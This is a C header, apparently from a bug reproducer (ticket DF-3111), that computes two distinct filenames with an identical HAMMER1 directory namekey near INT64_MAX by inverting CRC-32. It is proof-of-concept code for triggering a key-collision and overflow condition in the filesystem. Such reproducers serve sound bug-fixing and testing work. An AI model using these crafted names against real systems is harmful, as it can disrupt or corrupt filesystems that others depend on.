/*
 * DF-3111 — shared solver: find two distinct filenames with the IDENTICAL
 * HAMMER1 ALG1 namekey in the wrap zone.
 *
 * Name shape: "aa" + 3 alphabet bytes + 'q' + '.' + seg2
 *   seg1 = "aa"+XYZ+"q" (6 bytes), seg2 = 4 solver bytes.
 * seg2 is solved by inverting the STANDALONE 4-byte CRC-32 (a bijection,
 * self-checked) so that crc32(seg1) + crc32(seg2) == 0x7fffffff or
 * 0xffffffff (mod 2^32)  =>  crcx & 0x7fffffff == 0x7fffffff.
 * The 3 alphabet bytes randomize the whole-name crc; names whose
 * (crc ^ crc<<16) & 0xffff0000 lands in [0xff010000, 0xffff0000] get a
 * namekey > INT64_MAX - max_iterations (wrap zone). Two distinct names
 * with the same whole-name crc share the same key => colliding pair.
 */
#ifndef DF3111_SOLVER_H
#define DF3111_SOLVER_H

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static uint32_t df_crc_table[256];

static void df_crc_init(void)
{
    for (uint32_t n = 0; n < 256; n++) {
        uint32_t c = n;
        for (int k = 0; k < 8; k++)
            c = (c & 1) ? 0xedb88320U ^ (c >> 1) : c >> 1;
        df_crc_table[n] = c;
    }
}

static uint32_t df_crc32(const unsigned char *buf, size_t len)
{
    uint32_t c = 0xffffffffU;
    for (size_t i = 0; i < len; i++)
        c = df_crc_table[(c ^ buf[i]) & 0xff] ^ (c >> 8);
    return c ^ 0xffffffffU;
}

static uint32_t df_inv_rows[32];

/* invert m -> crc32(4-byte m) (standalone; bijection) */
static void df_build_inverse(void)
{
    uint32_t img[32], pre[32];
    for (int i = 0; i < 32; i++) {
        unsigned char m[4];
        memset(m, 0, 4);
        m[i / 8] = (unsigned char)(1u << (i % 8));
        img[i] = df_crc32(m, 4) ^ df_crc32((const unsigned char *)"\0\0\0\0", 4);
        pre[i] = 1u << i;
    }
    for (int col = 0; col < 32; col++) {
        int piv = -1;
        for (int r = col; r < 32; r++)
            if (img[r] & (1u << col)) { piv = r; break; }
        if (piv < 0) { fprintf(stderr, "crc32 not invertible\n"); exit(1); }
        uint32_t t;
        t = img[col]; img[col] = img[piv]; img[piv] = t;
        t = pre[col]; pre[col] = pre[piv]; pre[piv] = t;
        for (int r = 0; r < 32; r++)
            if (r != col && (img[r] & (1u << col))) {
                img[r] ^= img[col]; pre[r] ^= pre[col];
            }
    }
    for (int col = 0; col < 32; col++)
        df_inv_rows[col] = pre[col];
}

static void df_crc32_inverse4(uint32_t want, unsigned char out[4])
{
    uint32_t c0 = df_crc32((const unsigned char *)"\0\0\0\0", 4);
    uint32_t lin = want ^ c0, m = 0;
    for (int col = 0; col < 32; col++)
        if (lin & (1u << col))
            m ^= df_inv_rows[col];
    out[0] = m & 0xff; out[1] = (m >> 8) & 0xff;
    out[2] = (m >> 16) & 0xff; out[3] = (m >> 24) & 0xff;
}

/* exact replica of hammer_direntry_namekey() ALG1 (hammer_subs.c:963) */
static int64_t df_alg1_key(const char *aname, int len)
{
    uint32_t crcx = 0;
    int i, j;
    int64_t key = 0;

    for (i = j = 0; i < len; ++i) {
        if (aname[i] == '.' || aname[i] == '-' ||
            aname[i] == '_' || aname[i] == '~') {
            if (i != j)
                crcx += df_crc32((const unsigned char *)aname + j, i - j);
            j = i + 1;
        }
    }
    if (i != j)
        crcx += df_crc32((const unsigned char *)aname + j, i - j);
    crcx &= 0x7fffffffU;
    key |= (uint64_t)crcx << 32;

    crcx = df_crc32((const unsigned char *)aname, len);
    crcx = crcx ^ (crcx << 16);
    key |= (int64_t)(crcx & 0xffff0000U);

    if ((key & 0xffffffff00000000LL) == 0)
        key |= 0x100000000LL;
    return key;
}

static const char *df_alphabet =
    "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

#define DF_PAIR_MAX 4096
static char df_names[DF_PAIR_MAX][16];
static int df_nlen[DF_PAIR_MAX];
static int64_t df_keys[DF_PAIR_MAX];
static int df_n;

/* returns 0 and fills the FIRST identical-key pair found (deterministic) */
static int df_find_pair(char *outA, int *outlenA,
                        char *outB, int *outlenB, int64_t *outKey)
{
    df_crc_init();
    df_build_inverse();
    {
        unsigned char o[4];
        df_crc32_inverse4(0xdeadbeefU, o);
        if (df_crc32(o, 4) != 0xdeadbeefU) {
            fprintf(stderr, "solver self-check FAILED\n");
            return -1;
        }
    }
    df_n = 0;
    for (int a = 0; a < 62 && df_n < DF_PAIR_MAX; a++) {
        for (int b = 0; b < 62 && df_n < DF_PAIR_MAX; b++) {
            for (int c = 0; c < 62 && df_n < DF_PAIR_MAX; c++) {
                unsigned char seg1[7];
                uint32_t c1;
                seg1[0] = 'a'; seg1[1] = 'a';
                seg1[2] = (unsigned char)df_alphabet[a];
                seg1[3] = (unsigned char)df_alphabet[b];
                seg1[4] = (unsigned char)df_alphabet[c];
                seg1[5] = 'q';
                c1 = df_crc32(seg1, 6);
                for (int s = 0; s < 2; s++) {
                    uint32_t target = (s ? 0xffffffffU : 0x7fffffffU) - c1;
                    unsigned char o[4], name[16];
                    int n = 0, bad = 0;
                    df_crc32_inverse4(target, o);
                    name[n++] = seg1[0]; name[n++] = seg1[1];
                    name[n++] = seg1[2]; name[n++] = seg1[3];
                    name[n++] = seg1[4]; name[n++] = seg1[5];
                    name[n++] = '.';
                    name[n++] = o[0]; name[n++] = o[1];
                    name[n++] = o[2]; name[n++] = o[3];
                    for (int q = 0; q < n; q++)
                        if (name[q] == '/' || name[q] == 0)
                            bad = 1;
                    for (int q = 0; q + 1 < n; q++)
                        if (name[q] == '@' && name[q + 1] == '@')
                            bad = 1;
                    if (bad)
                        continue;
                    int64_t k = df_alg1_key((const char *)name, n);
                    if ((uint64_t)k > 0x7fffffffff000000ULL &&
                        (uint32_t)(k & 0xffffffffU) != 0) {
                        memcpy(df_names[df_n], name, n);
                        df_names[df_n][n] = 0;
                        df_nlen[df_n] = n;
                        df_keys[df_n] = k;
                        df_n++;
                        if (df_n >= DF_PAIR_MAX)
                            break;
                    }
                }
            }
        }
    }
    for (int i = 0; i < df_n; i++)
        for (int j = i + 1; j < df_n; j++)
            if (df_keys[i] == df_keys[j]) {
                memcpy(outA, df_names[i], df_nlen[i] + 1);
                *outlenA = df_nlen[i];
                memcpy(outB, df_names[j], df_nlen[j] + 1);
                *outlenB = df_nlen[j];
                *outKey = df_keys[i];
                return 0;
            }
    fprintf(stderr, "only %d wrap-zone names, no pair\n", df_n);
    return -1;
}

static void df_pr_name(const char *label, const char *n, int len, int64_t key)
{
    printf("%s key=%016llx len=%d bytes=", label,
           (unsigned long long)(uint64_t)key, len);
    for (int i = 0; i < len; i++)
        printf("%02x", (unsigned char)n[i]);
    printf("\n");
}

#endif /* DF3111_SOLVER_H */